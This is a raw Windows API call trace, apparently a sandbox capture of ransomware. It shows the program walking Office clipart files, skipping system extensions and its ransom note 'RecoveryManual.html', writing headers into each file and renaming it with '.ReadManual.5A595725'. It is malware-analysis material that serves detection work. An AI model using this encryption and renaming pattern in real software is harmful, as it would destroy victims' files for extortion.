[0260.533] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.534] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.535] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.535] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfe2) returned 0x2f0000 [0260.535] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.535] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38120427061) returned 1 [0260.536] CloseHandle (hObject=0x184) returned 1 [0260.536] SetSecurityInfo () returned 0x57 [0260.536] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.536] CloseHandle (hObject=0x194) returned 1 [0260.536] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD08758_.WMF", cAlternateFileName="")) returned 1 [0260.536] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD08758_.WMF" | out: lpString1="BD08758_.WMF") returned="BD08758_.WMF" [0260.536] lstrcmpiW (lpString1="BD08758_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.536] StrStrIW (lpFirst="BD08758_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.536] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.537] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.537] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.537] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.537] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.537] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.537] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.537] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.537] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.537] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.537] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.537] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.537] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.537] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.537] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" [0260.537] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.ReadManual.5A595725" [0260.537] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.ReadManual.5A595725") returned 87 [0260.537] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38120579535) returned 1 [0260.537] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x20 [0260.537] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.537] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=24320) returned 1 [0260.538] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5f00, lpName=0x0) returned 0x184 [0260.538] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.538] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.538] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.540] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.540] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5f00) returned 0x2f0000 [0260.540] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.541] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38120936942) returned 1 [0260.541] CloseHandle (hObject=0x184) returned 1 [0260.541] SetSecurityInfo () returned 0x57 [0260.541] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.541] CloseHandle (hObject=0x194) returned 1 [0260.543] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x60ca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD08773_.WMF", cAlternateFileName="")) returned 1 [0260.543] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD08773_.WMF" | out: lpString1="BD08773_.WMF") returned="BD08773_.WMF" [0260.543] lstrcmpiW (lpString1="BD08773_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.543] StrStrIW (lpFirst="BD08773_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.543] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.544] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.544] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.544] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.544] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.545] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.545] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.545] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.545] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.545] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.545] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.545] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.545] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.545] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.545] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" [0260.545] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.ReadManual.5A595725" [0260.545] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.ReadManual.5A595725") returned 87 [0260.545] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38121400346) returned 1 [0260.545] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x20 [0260.545] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.546] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=24778) returned 1 [0260.546] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x60ca, lpName=0x0) returned 0x184 [0260.546] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.546] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.546] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.548] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.548] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x60ca) returned 0x2f0000 [0260.548] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.549] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38121745055) returned 1 [0260.549] CloseHandle (hObject=0x184) returned 1 [0260.549] SetSecurityInfo () returned 0x57 [0260.549] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.549] CloseHandle (hObject=0x194) returned 1 [0260.550] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbb7c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD08808_.WMF", cAlternateFileName="")) returned 1 [0260.550] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD08808_.WMF" | out: lpString1="BD08808_.WMF") returned="BD08808_.WMF" [0260.550] lstrcmpiW (lpString1="BD08808_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.550] StrStrIW (lpFirst="BD08808_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.550] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.550] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.550] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.550] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.550] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.550] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.550] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.550] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.550] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.550] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.550] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.550] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.550] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.550] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.550] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" [0260.550] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.ReadManual.5A595725" [0260.550] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.ReadManual.5A595725") returned 87 [0260.550] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38121910138) returned 1 [0260.550] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x20 [0260.551] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.551] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=47996) returned 1 [0260.551] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbb7c, lpName=0x0) returned 0x184 [0260.551] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.551] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.551] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.553] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.553] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbb7c) returned 0x2f0000 [0260.555] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.555] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38122374829) returned 1 [0260.555] CloseHandle (hObject=0x184) returned 1 [0260.555] SetSecurityInfo () returned 0x57 [0260.555] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.555] CloseHandle (hObject=0x194) returned 1 [0260.556] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9d0e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD08868_.WMF", cAlternateFileName="")) returned 1 [0260.556] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD08868_.WMF" | out: lpString1="BD08868_.WMF") returned="BD08868_.WMF" [0260.556] lstrcmpiW (lpString1="BD08868_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.556] StrStrIW (lpFirst="BD08868_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.556] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.556] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.556] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.556] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.556] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.556] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.557] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.557] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.557] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.557] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.557] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.557] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.557] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.557] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.557] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" [0260.557] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.ReadManual.5A595725" [0260.557] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF.ReadManual.5A595725") returned 87 [0260.557] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38122692760) returned 1 [0260.558] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x20 [0260.558] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.559] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=40206) returned 1 [0260.559] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9d0e, lpName=0x0) returned 0x184 [0260.559] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.559] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.559] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.561] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.561] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9d0e) returned 0x2f0000 [0260.562] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.563] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38123137770) returned 1 [0260.563] CloseHandle (hObject=0x184) returned 1 [0260.563] SetSecurityInfo () returned 0x57 [0260.563] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.563] CloseHandle (hObject=0x194) returned 1 [0260.564] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbaaa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BD09031_.WMF", cAlternateFileName="")) returned 1 [0260.564] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BD09031_.WMF" | out: lpString1="BD09031_.WMF") returned="BD09031_.WMF" [0260.564] lstrcmpiW (lpString1="BD09031_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.564] StrStrIW (lpFirst="BD09031_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.564] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.564] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.564] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.564] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.564] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.564] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.564] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.564] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.564] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.564] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.564] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.564] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.564] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.564] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.564] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" [0260.564] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.ReadManual.5A595725" [0260.564] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF.ReadManual.5A595725") returned 87 [0260.564] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38123308967) returned 1 [0260.564] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x20 [0260.565] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.565] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=47786) returned 1 [0260.565] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbaaa, lpName=0x0) returned 0x184 [0260.565] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.565] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.565] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.567] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.567] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbaaa) returned 0x2f0000 [0260.568] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.568] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38123720428) returned 1 [0260.568] CloseHandle (hObject=0x184) returned 1 [0260.569] SetSecurityInfo () returned 0x57 [0260.569] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.569] CloseHandle (hObject=0x194) returned 1 [0260.570] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, 